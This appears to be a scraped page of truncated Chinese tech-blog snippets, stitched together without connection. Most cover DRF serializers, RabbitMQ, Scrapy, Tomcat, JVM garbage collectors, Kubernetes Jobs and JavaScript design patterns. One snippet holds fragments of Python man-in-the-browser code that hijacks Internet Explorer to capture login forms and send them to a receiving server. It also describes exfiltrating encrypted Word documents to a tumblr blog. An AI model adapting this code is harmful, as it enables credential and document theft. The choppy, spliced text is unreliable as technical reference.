背景：drf的序列化器给模型输出带来了便利但是对于多对多字段网上查询的内容却是很少(也有可能是本人不会搜答案)经过我多个日夜的摸索，终于实现了我的需求，现将自己的心得记录一下说下我的需求：定义一个订单模型里面的订单...)就这样给自己挖了坑因为想要在添加订单的同时也要添加对应菜品的数量于是自定义了中间表并且添加了数量字段(噩梦开始~~~)首先是定义模型类models.py# models.pyimport django.utils.timezone...# 在传入对多对多字段的时候同步传入需要更新的中间表id obj = OrderCenterThough(pk=i.get('id')) #...将获取到的id实例 传入序列化器中再把需要更新的字段传入data obj_serializer = OrderCenterThoughSerializer(instance=obj...主要是一个思路，drf 的ModelSerializer 和 ModelViewSet 封装的太严实了，通过这样的方法来更新和添加多对多字段实属自己技术不成熟。
前 言 作者简介：半旧518，长跑型选手，立志坚持写10年博客，专注于java后端 ☕专栏简介：深入、全面、系统的介绍消息中间件 文章简介：本文将介绍RabbitMQ的工作模式 上一篇文章已经介绍...RabbitMQ的基本概念、安装、管控台使用和基于简单模式的helloworld。...这篇文章将介绍RabbitMQ的其它工作模式。 1.WorkQueue工作队列模式 代码实现也很简单，只需要多一个消费者即可。...简单模式下交换机会使用默认的 "" 2. routingKey：路由名称 3. props：配置信息 4. body：发送消息数据...4.Topics模式 看图说明一切 实现如下需求。对Q1，error级别的信息，order系统的信息存入数据库；对Q2都打到控制台。 生产者。
文章目录 1. scrapy中的下载器中间件 1.1. 下载中间件 1.2....总结： scrapy中的下载器中间件 下载中间件 下载器中间件是介于Scrapy的request/response处理的钩子框架。...如果其返回 None ，Scrapy将继续处理该request，执行其他的中间件的相应方法，直到合适的下载器处理函数(download handler)被调用， 该request被执行(其response...– request对应的spider 总结： 总的来说下载器中间件就是起到处理request请求并且返回response的作用，一切从网页爬取的url发起的请求会组成一个请求队列，然后一个一个排队经过下载器中间件...，但是如果要爬取大型的网站，会遇到被ban的可能就要在下载器中间件这里着手，设置一些相应的请求头，ip代理等等内容。
父序列化器： class ReadDeptSerializer(serializers.ModelSerializer): id = serializers.IntergerField()...ChildDeptSerializer(many=True) class Meta: model = Dept exclude = ['company','parent'] depth = 1 子序列化器
为了平衡速度，主要是后续的处理，这里会把每个数据线上面的数据存到这个4byte的FIFO里面。 4x8=32bit，正好是一个寄存器的宽度，图像就是这样被从并转到了串。...可以看到DCMI的外设也是这样设计的，是通过这个同步装置完成的 最后还是通过一个32位的总线传到了内部，这样看，其实内部的数据线比外部的更宽。 非常恐怖 在内部两个维度，横着是数据的宽度。...竖着是数据生长的方向。向上生长。 数据被放在最后面 就放这个里面了 通过提取器提取的数据在4字FIFO中打包，然后在32位寄存器中排序。 所以排序过程在这个寄存器里面。...看看ESP32的接口 右边进来以后，有一个非同步的（异步）的FIFO模块，可以最多放16个字节的缓冲数据。接着还可以转成RGB或者YCbCr的。最后数据重塑成8或者16的给到内部的DMA。...这个寄存器可以干这个活 不清楚有啥好处，可能是为了显示吧？
目录 DRF的核心--序列化器 序列化器 什么是序列化和反序列化?...ModelSerializer模型类序列化器 字段参数 DRF的核心--序列化器 上一篇介绍了很多有关视图类以及DRF中的APIView执行流程、Request对象的源码分析，源码都get了；...DRF的核心当然不是知道视图类执行流程就可以了，DRF框架的核心那就是 序列化器的使用，如何使用序列化器实现 序列化、 反序列化，以及视图，这篇会介绍到~ 序列化器 什么是序列化和反序列化?...，反序列化验证字段用 在对BookSerializer类实例化传入的参数不知道传什么，由于我们没有写构造函数，去父类看需要什么参数传什么就可以了 使用浏览器测得时候一定要注册rest_framework...allow_null 表明该字段是否允许传入None，默认False validators 该字段使用的验证器(不太用) error_messages 包含错误编号与错误信息的字典 label
基于浏览器的中间人攻击 #coding=utf-8 import win32com.client import time import urlparse import urllib data_receiver...: None, "logout_form" : "logout_form", "login_form_index" : 0, "owned" : False } #IE浏览器类的...= "complete": time.sleep(0.1) return 创建接收服务器 import SimpleHTTPServer import SocketServer...create_post": print "Found post button" post_form = i i.focus() #将浏览器的焦点从输入主体内容的窗口上移开...代码用于捕获本地文件系统中的Word文档，并利用公钥对其进行加密，然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上
这期重点了解下串行通信中的三种数据传输模式：单工、半双工和双工。 数据传输模式 数据传输模式描述了网络中的两个设备如何通信或交换数据。...它详细说明了信号在介质上传播的方向以及在任何给定时间可以穿过介质的信号数量。 总共有三种类型的传输模式，即单工、半双工和全双工。 单工（Simplex） 在单工模式下，通信是单向的。...这种模式通常用于广播系统，如无线电或电视广播。 半双工（Half-duplex） 半双工模式允许双向通信，但一次只能有一个方向的数据流动。...这意味着发送方和接收方可以交换数据，但在同一时间内只能有一个方向的数据传输。 半双工通信通常用于对讲机和早期的计算机通信。...这种模式提供了最高的通信效率，因为它允许数据在两个方向上同时流动 全双工通信广泛应用于现代网络和电话系统。 三者对比 下面以表格形式对上述三种模式进行对比：
Http头信息禁用浏览器缓存： Cache-Control: no-cache Pragma: no-cache Expires: Thu,01Dec199416:00:00GMT Expires：告诉浏览器把回送的资源缓存多长时间...-1或0则是不缓存 简要：添加Expires头能有效的利用浏览器的缓存能力来改善页面的性能，能在后续的页面中有效避免很多不必要的Http请求，WEB服务器使用Expires头来告诉Web客户端它可以使用一个组件的当前副本...Cache-Control：no-cache Cathe-Control：max-age=315360000 Expires有一个非常大的缺陷，它使用一个固定的时间，要求服务器与客户端的时钟保持严格的同步...，并且这一天到来后，服务器还得重新设定新的时间。...Pragma：no-cache 虽然这三个响应头都表示禁止浏览器缓存，但因为不是所有浏览器都能完全支持这三个响应头，因此最好是同时使用这三个，只要浏览器支持其中任意一个，那就能可靠的禁止浏览器缓存当前页面
验证失败，可以通过序列化器对象的errors属性获取错误信息，返回字典，包含了字段和字段的错误提示。...验证成功，可以通过序列化器对象的validated_data属性获取数据。 在定义序列化器时，指明每个字段的序列化类型和选项参数，本身就是一种验证行为。...框架注册到django项目中 'unsers', # 演示反序列化 ] 注释csrf校验，因为提交数据涉及到post方法提交数据，把settings.py中的中间件的csrf暂时关闭 MIDDLEWARE...validate， 参数data代表了所有字段的数据值，其实就是视图代码中实例化序列化器对象时的data参数 开发中，类似 密码和确认密码，此时这2个字段，必须进行比较才能通过验证...表明该字段是否允许传入None，默认False validators 该字段使用的验证器 error_messages 包含错误编号与错误信息的字典 label 用于HTML展示API页面时，显示的字段名称
Web中间件——Tomcat中的BIO、NIO、APR模式 简介 Tomcat在我们日常开发B/S项目时常常进行使用，当然在Spring全家桶中我们现在也是使用的内置tomcat，但是很多人可能不会对于...tomcat进行深入性研究，其实在我们的产品进行性能提升时，web中间件的优化也是占有很大一部分，而tomcat中采用不同的模式对应的使用场景下性能也是不一样的，因此本篇文章将对于这几个模式进行简单讲解...，后续我们会对于不同的模式进行配置方式讲解。...参见文章 Tomcat的BIO、NIO、APR模式对比与性能测试结果 正文 BIO 同步并阻塞 阻塞式I/O操作，这个模式使用的是Java I/O操作。该运行方式性能最低。...APR 异步非阻塞 以JNI的形式调用Apache HTTP服务器的核心动态链接库来处理文件读取或网络传输操作，有效提高静态文件的处理性能。
消息中间件( Message Oriented Middleware，简称MOM)在企业开发中变得越来越重要。本文介绍消息中间件中的四种消息投递模型，主要是介绍模型的核心特性，以及不同模型之前的区别。...PTP是基于队列(Queue)的，一个队列可以有多个生产者，和多个消费者。消息服务器按照收到消息的先后顺序，将消息放到队列中。队列中的每一条消息，只能由一个消费者进行消费，消费之后就会从队列中移除。...这个违禁词系统，部署了在N台服务器上，为了提升检测性能，每台机器都会将违禁词库全量加载到内存中，词库的更新，是通过发送MQ消息来完成的。...Paritition模式巧妙的将PTP模型和Pub/Sub模型结合在了一起： 对于PTP模型： 一条消息只会由一个消费者进行消费，而Partition模型中每个分区最终也只会有一个消费者进行消费。...例如RocketMQ，支持为消费者组设置消费模式，如果是集群模式，就按照上述描述进行消费，如果是广播模式，就按照Pub/Sub模型进行消费。
在Kubernetes中，Job是一次性任务的控制器。它控制Pod中的容器执行完成任务后不会再重启，并将容器的状态设置为“Completed”。...如果Pod中的容器出现了异常终止的情况，Job控制器会根据设置的重启策略进行Pod的重启。如果因为Node节点的故障导致Pod无法正常运行，Job控制器会通过调度器将Pod调度到其他的节点上运行。...Job控制器的运行方式分为：单工作队列的串行方式和多工作队列的并行方式。 视频讲解如下： 下面通过具体的示例来演示如何使用单工作队列的Job串行方式。...kubectl get job,pod（5）对比上面的两张图片，可以看出：由于Job控制器执行的一次性任务，当Pod中的容器运行120秒后，Pod将被设置成“Completed”状态，并且不再被重启。
django rest framework（下面简称 drf） 在 django 中，路由匹配之后，会进行路由分发，这个时候会有两种选择模式，分别是 FBV 与 CBV。...网关，中间件，然后进入路由匹配，进入视图函数，连接数据库 ORM 操作，模板渲染，返回经过中间件，最终交给浏览器 response 字符串。...，连接数据库-ORM 操作，模板渲染，返回经过中间件，最终交给浏览器 response 字符串。...在 drf 中主要使用 CBV，生命周期就变成： 请求通过 uwsgi 网关，中间件，然后进入路由匹配，这里就有区别了，先经过 drf 中-APIView 类中的 dispath 方法（这里假定视图类没有重写...APIView 中的 dispath 方法），在 dispath 中对 request 请求进行封装，反射回到视图类，连接数据库 ORM 操作，模板渲染，返回经过中间件，最终交给浏览器响应字符串。
我们用来表示路由的url的路由列表。但是pattern在计算机中通常用来表示模式。 19. Serialization/ˌsɪərɪrlaɪ'zeɪʃn/序列化，这个单词全球只有美式音标，统一的。...20. model/'mɑdl/模型，我们在很多的时候都用到了这个单词，在DRF框架我们在下面的情况中用到了这个单词。指明该序列化器处理的数据字段从模型类BookInfo参考生成。...= BookInfo fields = '__all__' 21. fields/'fildz/字段，指明该序列化器包含模型类中的哪些字段，'all'指明包含所有字段。...表明该字段是否允许传入None，默认False validators 该字段使用的验证器 error_messages 包含错误编号与错误信息的字典 label 用于HTML展示API页面时，显示的字段名称...32. router/'rʊtɚ/路由器，我们指的可不是路由器了，它指的也不是视图函数，而是封装了视图函数和请求的url的映射关系的一个东西。 33.
关于JVM的一个最大的误解是它有一个垃圾收集器，其实它提供了四个不同的垃圾收集器，每一个都有自己独特的优点和缺点。重要的是，我们编程的时候可以通过JVM选择垃圾回收器类型。...1.串行收集器（Serial Collector） 串行收集器是最简单的，并且您可能不会使用它，因为它主要设计用于单线程环境（例如32位或Windows）和以及用于比较小的堆。...此收集器会在自己工作的时候冻结所有应用程序线程，所以可能不适合服务器环境。它最适合的是简单的命令行程序。 通过JVM参数-XX:+UseSerialGC可以使用串行垃圾回收器。...2.并行/吞吐量收集器（Parallel / Throughput collector） 接下来是并行收集器，这是JVM的默认收集器。很像它的名字，它的最大的优点是使用多线程来扫描和压缩堆。...该算法将在两种情况下进入“stop the world”（STW）(文末有解释)模式：当初始化根（可以从线程入口点或静态变量访问的旧代中的对象）的初始标记时，以及当应用改变堆的状态的时候该收集器同时并发运行的时候
代码也写了几年了，设计模式处于看了忘，忘了看的状态，最近对设计模式有了点感觉，索性就再学习总结下吧。...大部分讲设计模式的文章都是使用的 Java、C++ 这样的以类为基础的静态类型语言，作为前端开发者，js 这门基于原型的动态语言，函数成为了一等公民，在实现一些设计模式上稍显不同，甚至简单到不像使用了设计模式...下面按照「场景」-「设计模式定义」- 「js的迭代器模式」-「总」的顺序来总结一下，如有不当之处，欢迎交流讨论。 场景 for...of.... 的原理是？...js 的迭代器模式 js 中我们不需要专门定义迭代器的类了，我们可以让容器包含一个 Symbol.iterator 方法，该方法返回一个迭代器对象。...总 迭代器模式的好处就是可以不知道容器中元素的结构就可以遍历，一般由容器提供一个迭代器供我们使用。为了实现不同的遍历顺序，只需要提供新的迭代器即可。
最直接的当然是去每个页面加就好了，但上报数据的逻辑是一致的，一个一个加有些傻了，这里就可以用到装饰器模式了。 装饰器模式 看下维基百科的定义。...★装饰器（修饰）模式，是面向对象程式领域中，一种动态地往一个类别中添加新的行为的设计模式。就功能而言，修饰模式相比生成子类别更为灵活，这样可以给某个对象而不是整个类别添加一些功能。...举一个简单的例子： 买奶茶的话可以额外加珍珠、椰果等，不同小料有不同的价格、也可以自由组合，此时就可以用到装饰器模式，对原始奶茶进行加料、算价。 原始的奶茶有一个接口和类。...同理，利用装饰器模式我们也可以对其它生命周期统一插入我们需要做的事情，而不需要业务方自己再写一遍。...总 装饰器模式同样践行了「单一职责原则」，可以把对象/函数的各个功能独立出来，降低它们之间的耦合性。 业务开发中，如果某个对象/函数拥有了太多功能，可以考虑使用装饰器模式进行拆分。
最近在部署网页的时候，发现IE下的布局完成混乱。 在改变IE的文本模式后，显示就正常了。...IE的浏览器模式，用于切换IE针对该网页的默认文本模式、对不同版本浏览器的条件注释解析、决定请求头里userAgent的值。它在浏览器发出请求之前就已经确定，网站没有办法修改这个值。...它代表的是用户以何种浏览器访问网站。 主要的是文本模式，文本模式决定浏览器的排版引擎和JS引擎，它代表的是浏览器以何种模式呈现页面。...为了解决布局混乱的问题，我们需要手动决定文本模式，通常我们采用以下的语句： 这个语句意味着文本模式会使用最新可用的版本...另外，需要注意一点的是，该语句需要放在Js文件之前。
Django REST framework 日志 默认的drf-api-logger没有保存用户并且没有获取日志的接口 本文通过重写drf-api-logger增加访问用户及获取日志的接口 并且增加定时器删除日志...drf_api_logger 文档 优点：您可以将 API 信息记录到数据库中或侦听不同用例的记录器信号，也可以同时执行这两项操作。...跳过的命名空间(应用程序) DRF_API_LOGGER_METHODS = [] # 跳过的方法 DRF_API_LOGGER_STATUS_CODES = [] # 跳过的状态码 DRF_API_LOGGER_EXCLUDE_KEYS...重写 drf_api_logger其实就是django的一个应用 复制drf_api_logger的源码后执行 pip uninstall drf-api-logger 删除模块(不删也没事) 添加用户信息...models.ForeignKey(User,null=True, blank=True, on_delete=models.CASCADE,verbose_name="用户",help_text="用户") ··· 在中间件中修改添加数据库时的方法
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